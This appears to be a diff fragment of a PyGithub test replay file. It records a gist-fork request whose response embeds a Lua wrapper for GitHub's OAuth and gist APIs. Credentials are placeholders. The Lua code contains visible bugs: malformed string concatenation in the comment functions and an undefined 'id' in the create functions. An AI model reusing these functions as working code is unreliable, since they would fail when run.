callback)\\n\\tGithubAPI.http_request(\\\"https://github.com/login/oauth/authorize?client_id=\\\"..client_id..\\\"&scope=\\\"..scope, function(data, status, headers)\\n\\t\\tGithubAPI.OAuth._getToken(client_id, client_secret, data, callback)\\n\\tend, nil, true)\\nend\\n-- GitHub redirects back to your site --\\nfunction GithubAPI.OAuth._getToken(client_id, client_secret, code, callback)\\n\\tGithubAPI.http_request(\\\"https://github.com/login/oauth/access_token\\\", callback, {\\n\\t\\tmethod = \\\"POST\\\",\\n\\t\\tdata = {\\n\\t\\t\\tclient_id = client_id,\\n\\t\\t\\tclient_secret = client_secret,\\n\\t\\t\\tcode = code\\n\\t\\t}\\n\\t}, true)\\nend\\n\\n-- List your authorizations --\\nfunction GithubAPI.OAuth.authorizations.list(callback)\\n\\tGithubAPI.http_request(\\\"authorizations\\\", callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nLink: ; rel=\\\"next\\\",\\n ; rel=\\\"last\\\"\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n[\\n {\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/authorizations/1\\\",\\n \\\"scopes\\\": [\\n \\\"public_repo\\\"\\n ],\\n \\\"token\\\": \\\"abc123\\\",\\n \\\"app\\\": {\\n \\\"url\\\": \\\"http://my-github-app.com\\\",\\n \\\"name\\\": \\\"my github app\\\",\\n \\\"client_id\\\": \\\"abcde12345fghij67890\\\"\\n },\\n \\\"note\\\": \\\"optional note\\\",\\n \\\"note_url\\\": \\\"http://optional/note/url\\\",\\n \\\"updated_at\\\": \\\"2011-09-06T20:39:23Z\\\",\\n \\\"created_at\\\": \\\"2011-09-06T17:26:27Z\\\"\\n }\\n]\\n]]--\\n\\n-- Get a single authorization --\\nfunction GithubAPI.OAuth.authorizations.get(id, callback)\\n\\tGithubAPI.http_request(\\\"authorizations/\\\"..id, callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/authorizations/1\\\",\\n \\\"scopes\\\": [\\n \\\"public_repo\\\"\\n ],\\n \\\"token\\\": \\\"abc123\\\",\\n \\\"app\\\": {\\n \\\"url\\\": \\\"http://my-github-app.com\\\",\\n \\\"name\\\": \\\"my github app\\\",\\n \\\"client_id\\\": \\\"abcde12345fghij67890\\\"\\n },\\n \\\"note\\\": \\\"optional note\\\",\\n \\\"note_url\\\": \\\"http://optional/note/url\\\",\\n \\\"updated_at\\\": \\\"2011-09-06T20:39:23Z\\\",\\n \\\"created_at\\\": \\\"2011-09-06T17:26:27Z\\\"\\n}\\n]]--\\n\\n-- Create a new authorization --\\nfunction GithubAPI.OAuth.authorizations.create(callback, scopes, note, note_url, client_id, client_secret)\\n\\tGithubAPI.http_request(\\\"authorizations/\\\", callback, {\\n\\t\\tmethod = \\\"POST\\\",\\n\\t\\tdata = {\\n\\t\\t\\tscopes = scopes,\\n\\t\\t\\tnote = note,\\n\\t\\t\\tnote_url = note_url,\\n\\t\\t\\tclient_id = client_id,\\n\\t\\t\\tclient_secret = client_secret\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\nscopes\\nOptional array - A list of scopes that this authorization is in.\\n\\nnote\\nOptional string - A note to remind you what the OAuth token is for.\\n\\nnote_url\\nOptional string - A URL to remind you what app the OAuth token is for.\\n\\nclient_id\\nOptional String - The 20 character OAuth app client key for which to create the token.\\n\\nclient_secret\\nOptional String - The 40 character OAuth app client secret for which to create the token.\\n~~~\\n{\\n \\\"scopes\\\": [\\n \\\"public_repo\\\"\\n ],\\n \\\"note\\\": \\\"admin script\\\"\\n}\\n~~~\\n]]--\\n\\n--[[ Response --\\nStatus: 201 Created\\nLocation: https://api.github.com/authorizations/1\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/authorizations/1\\\",\\n \\\"scopes\\\": [\\n \\\"public_repo\\\"\\n ],\\n \\\"token\\\": \\\"abc123\\\",\\n \\\"app\\\": {\\n \\\"url\\\": \\\"http://my-github-app.com\\\",\\n \\\"name\\\": \\\"my github app\\\",\\n \\\"client_id\\\": \\\"abcde12345fghij67890\\\"\\n },\\n \\\"note\\\": \\\"optional note\\\",\\n \\\"note_url\\\": \\\"http://optional/note/url\\\",\\n \\\"updated_at\\\": \\\"2011-09-06T20:39:23Z\\\",\\n \\\"created_at\\\": \\\"2011-09-06T17:26:27Z\\\"\\n}\\n]]--\\n\\n-- TODO\\n-- Update\\n-- Check\\n-- Delete\\n\\n--- GISTS ---\\n\\n-- List gists --\\nfunction GithubAPI.gist.list.user(user, callback)\\n\\tGithubAPI.http_request(\\\"users/\\\"..user..\\\"/gists\\\", callback)\\nend\\nfunction GithubAPI.gist.list.all(callback) -- return all public gists if called anonymously\\n\\tGithubAPI.http_request(\\\"gists\\\", callback)\\nend\\nfunction GithubAPI.gist.list.allPublic(callback)\\n\\tGithubAPI.http_request(\\\"gists/public\\\", callback)\\nend\\nfunction GithubAPI.gist.list.starred(callback)\\n\\tGithubAPI.http_request(\\\"gists/starred\\\", callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nLink: ; rel=\\\"next\\\",\\n ; rel=\\\"last\\\"\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n[\\n {\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n }\\n]\\n]]--\\n\\n-- Get a single gist --\\nfunction GithubAPI.gist.get(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id, callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\",\\n \\\"forks\\\": [\\n {\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"url\\\": \\\"https://api.github.com/gists/add0d71b065f55c46f60\\\",\\n \\\"created_at\\\": \\\"2011-04-14T16:00:49Z\\\"\\n }\\n ],\\n \\\"history\\\": [\\n {\\n \\\"url\\\": \\\"https://api.github.com/gists/80bdb0d081c447600e18\\\",\\n \\\"version\\\": \\\"57a7f021a713b1c5a6a199b54cc514735d2d462f\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"change_status\\\": {\\n \\\"deletions\\\": 0,\\n \\\"additions\\\": 180,\\n \\\"total\\\": 180\\n },\\n \\\"committed_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n }\\n ]\\n}\\n]]--\\n\\n-- Create a gist --\\nfunction GithubAPI.gist.create(public, files, callback ,description)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id, callback, {\\n\\t\\tmethod = \\\"POST\\\",\\n\\t\\tdata = {\\n\\t\\t\\tpublic = public,\\n\\t\\t\\tfiles = files,\\n\\t\\t\\tdescription = description\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\n{\\n \\\"description\\\": \\\"the description for this gist\\\",\\n \\\"public\\\": true,\\n \\\"files\\\": {\\n \\\"file1.txt\\\": {\\n \\\"content\\\": \\\"String file contents\\\"\\n }\\n }\\n}\\n]]--\\n\\n--[[ Response --\\nStatus: 201 Created\\nLocation: https://api.github.com/gists/1\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\",\\n \\\"forks\\\": [\\n {\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"url\\\": \\\"https://api.github.com/gists/add0d71b065f55c46f60\\\",\\n \\\"created_at\\\": \\\"2011-04-14T16:00:49Z\\\"\\n }\\n ],\\n \\\"history\\\": [\\n {\\n \\\"url\\\": \\\"https://api.github.com/gists/80bdb0d081c447600e18\\\",\\n \\\"version\\\": \\\"57a7f021a713b1c5a6a199b54cc514735d2d462f\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"change_status\\\": {\\n \\\"deletions\\\": 0,\\n \\\"additions\\\": 180,\\n \\\"total\\\": 180\\n },\\n \\\"committed_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n }\\n ]\\n}\\n]]--\\n\\n-- Edit a gist --\\nfunction GithubAPI.gist.edit(id, files, callback, description)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id, callback, {\\n\\t\\tmethod = \\\"PATCH\\\",\\n\\t\\tdata = {\\n\\t\\t\\tid = id,\\n\\t\\t\\tfiles = files,\\n\\t\\t\\tdescription = description\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\n{\\n \\\"description\\\": \\\"the description for this gist\\\",\\n \\\"files\\\": {\\n \\\"file1.txt\\\": {\\n \\\"content\\\": \\\"updated file contents\\\"\\n },\\n \\\"old_name.txt\\\": {\\n \\\"filename\\\": \\\"new_name.txt\\\",\\n \\\"content\\\": \\\"modified contents\\\"\\n },\\n \\\"new_file.txt\\\": {\\n \\\"content\\\": \\\"a new file\\\"\\n },\\n \\\"delete_this_file.txt\\\": null\\n }\\n}\\n]]--\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\",\\n \\\"forks\\\": [\\n {\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"url\\\": \\\"https://api.github.com/gists/add0d71b065f55c46f60\\\",\\n \\\"created_at\\\": \\\"2011-04-14T16:00:49Z\\\"\\n }\\n ],\\n \\\"history\\\": [\\n {\\n \\\"url\\\": \\\"https://api.github.com/gists/80bdb0d081c447600e18\\\",\\n \\\"version\\\": \\\"57a7f021a713b1c5a6a199b54cc514735d2d462f\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"change_status\\\": {\\n \\\"deletions\\\": 0,\\n \\\"additions\\\": 180,\\n \\\"total\\\": 180\\n },\\n \\\"committed_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n }\\n ]\\n}\\n]]--\\n\\n-- Star a gist --\\nfunction GithubAPI.gist.star(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id..\\\"/star\\\", callback, {method=\\\"PUT\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n-- Unstar a gist --\\nfunction GithubAPI.gist.unstar(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id..\\\"/star\\\", callback, {method=\\\"DELETE\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n-- Check if a gist is starred --\\nfunction GithubAPI.gist.checkStar(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id..\\\"/star\\\", callback)\\nend\\n\\n--[[\\n-- Response if gist is starred --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n\\n-- Response if gist is not starred --\\nStatus: 404 Not Found\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n-- Fork a gist --\\nfunction GithubAPI.gist.fork(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id..\\\"/forks\\\", callback, {method=\\\"POST\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 201 Created\\nLocation: https://api.github.com/gists/2\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n}\\n]]--\\n\\n-- Delete a gist --\\nfunction GithubAPI.gist.delete(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id, callback, {method=\\\"DELETE\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n--- GISTS COMMENTS ---\\n\\n-- List comments on a gist --\\nfunction GithubAPI.gist.comment.list(gist_id, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments\\\", callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n[\\n {\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\\\",\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"created_at\\\": \\\"2011-04-18T23:23:56Z\\\"\\n }\\n]\\n]]--\\n\\n-- Get a single comment --\\nfunction GithubAPI.gist.comment.get(gist_id, id, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments/\\\"..id, callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\\\",\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"created_at\\\": \\\"2011-04-18T23:23:56Z\\\"\\n}\\n]]--\\n\\n-- Create a comment --\\nfunction GithubAPI.gist.comment.create(gist_id, body, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments/\\\"..id, callback, {\\n\\t\\tmethod = \\\"POST\\\",\\n\\t\\tdata = {\\n\\t\\t\\tbody = body\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\n{\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\"\\n}\\n]]--\\n--[[ Response --\\nStatus: 201 Created\\nLocation: https://api.github.com/gists/comments/1\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\\\",\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"created_at\\\": \\\"2011-04-18T23:23:56Z\\\"\\n}\\n]]--\\n\\n-- Edit a comment --\\nfunction GithubAPI.gist.comment.edit(gist_id, id, body, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments/\\\"..id, callback, {\\n\\t\\tmethod = \\\"PATCH\\\",\\n\\t\\tdata = {\\n\\t\\t\\tbody = body\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\n{\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\"\\n}\\n]]--\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\\\",\\n \\\"body\\\": \\\"Just commenting for the sake of commenting\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"created_at\\\": \\\"2011-04-18T23:23:56Z\\\"\\n}\\n]]--\\n\\n-- Delete a comment --\\nfunction GithubAPI.gist.comment.delete(gist_id, id, callback)\\n\\tGithubAPI.http_request(\\\"gists/..\\\"gist_id\\\"../comments/\\\"..id, callback, {method = \\\"DELETE\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n----------------------------------------------------------------------------\\n-------------------------------- TOOLS -------------------------------------\\n----------------------------------------------------------------------------\\n\\nfunction GithubAPI.http_request(url, callback, opts, fullUrl)\\n\\topts = opts or {}\\n\\t-- if GithubAPI.token then opts.headers = TOKEN BEARER\\n\\tif opts.data then opts.data = json.encode(opts.data) end\\n\\n\\tlocal _url\\n\\tif (fullUrl) then _url = url else _url = GithubAPI.location .. url end\\n\\n\\thttp.request(_url, function(data, status, headers)\\n\\t\\tif (status == 500) then error(\\\"Github: Internal Server Error ...\\\") end\\n\\t\\tdata = json.decode(data)\\n\\t\\tcallback(data, status, headers)\\n\\tend, alert, opts)\\nend\\n\\nfunction GithubAPI.explode(div,str) -- credit: http://richard.warburton.it\\n if (div=='') then return false end\\n local pos,arr = 0,{}\\n for st,sp in function() return string.find(str,div,pos,true) end do\\n table.insert(arr,string.sub(str,pos,st-1))\\n pos = sp + 1\\n end\\n table.insert(arr,string.sub(str,pos))\\n return arr\\nend\\n\\n-- GITHUB TIMESTAMP (YYYY-MM-DDTHH:MM:SSZ) to os.time\\nfunction GithubAPI.gtimestamp(githubTime)\\n\\tgithubTime = githubTime:sub(1, #githubTime-1) -- remove Z\\n\\tgithubTime = GithubAPI.explode(\\\"T\\\", githubTime)\\n\\tgithubTime[1] = GithubAPI.explode(\\\"-\\\", githubTime[1])\\n\\tgithubTime[2] = GithubAPI.explode(\\\":\\\", githubTime[2])\\n\\treturn os.time({\\n\\t\\tyear = tonumber(githubTime[1][1]),\\n\\t\\tmonth = tonumber(githubTime[1][2]),\\n\\t\\tday = tonumber(githubTime[1][3]),\\n\\t\\thour = tonumber(githubTime[2][1]),\\n\\t\\tmin = tonumber(githubTime[2][2]),\\n\\t\\tsec = tonumber(githubTime[2][3])\\n\\t})\\nend\"}},\"public\":true,\"created_at\":\"2013-08-21T16:12:27Z\",\"updated_at\":\"2013-08-21T16:26:50Z\",\"description\":\"Github API\",\"comments\":0,\"user\":{\"login\":\"HyroVitalyProtago\",\"id\":3470988,\"avatar_url\":\"https://2.gravatar.com/avatar/ed59562b231a649345f38703948f76f4?d=https%3A%2F%2Fidenticons.github.com%2F6582cb986b7a730b12f7c18dfcc865f0.png\",\"gravatar_id\":\"ed59562b231a649345f38703948f76f4\",\"url\":\"https://api.github.com/users/HyroVitalyProtago\",\"html_url\":\"https://github.com/HyroVitalyProtago\",\"followers_url\":\"https://api.github.com/users/HyroVitalyProtago/followers\",\"following_url\":\"https://api.github.com/users/HyroVitalyProtago/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/HyroVitalyProtago/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/HyroVitalyProtago/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/HyroVitalyProtago/subscriptions\",\"organizations_url\":\"https://api.github.com/users/HyroVitalyProtago/orgs\",\"repos_url\":\"https://api.github.com/users/HyroVitalyProtago/repos\",\"events_url\":\"https://api.github.com/users/HyroVitalyProtago/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/HyroVitalyProtago/received_events\",\"type\":\"User\"},\"comments_url\":\"https://api.github.com/gists/6296553/comments\",\"forks\":[],\"history\":[{\"user\":null,\"version\":\"c464aecd7fea16684e935607eeea7ae4f8caa0e2\",\"committed_at\":\"2013-08-21T16:12:27Z\",\"change_status\":{\"total\":793,\"additions\":793,\"deletions\":0},\"url\":\"https://api.github.com/gists/6296553/c464aecd7fea16684e935607eeea7ae4f8caa0e2\"}]}\n \n https\n POST\n api.github.com\n None\n-/gists/2729818/fork\n+/gists/6296553/forks\n {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n null\n 201\n-[('status', '201 Created'), ('x-ratelimit-remaining', '4969'), ('content-length', '873'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"502531cd2afdff81b572c8565b17f601\"'), ('date', 'Sat, 19 May 2012 07:25:30 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/gists/2729865')]\n-{\"updated_at\":\"2012-05-19T07:25:30Z\",\"url\":\"https://api.github.com/gists/2729865\",\"comments\":0,\"public\":true,\"git_pull_url\":\"git://gist.github.com/2729865.git\",\"files\":{\"ror.markdown\":{\"raw_url\":\"https://gist.github.com/raw/2729865/1284e70f4c16550ef32a26aa4f5f0c78edaa7008/ror.markdown\",\"type\":\"text/plain\",\"size\":1076,\"filename\":\"ror.markdown\",\"language\":\"Markdown\"}},\"html_url\":\"https://gist.github.com/2729865\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"login\":\"jacquev6\",\"id\":327146},\"description\":\"RoR setup in AWS EC2(Ubuntu 12.04 LTS)\",\"created_at\":\"2012-05-19T07:25:30Z\",\"git_push_url\":\"git@gist.github.com:2729865.git\",\"id\":\"2729865\"}\n+[('status', '201 Created'), ('x-ratelimit-remaining', '4965'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 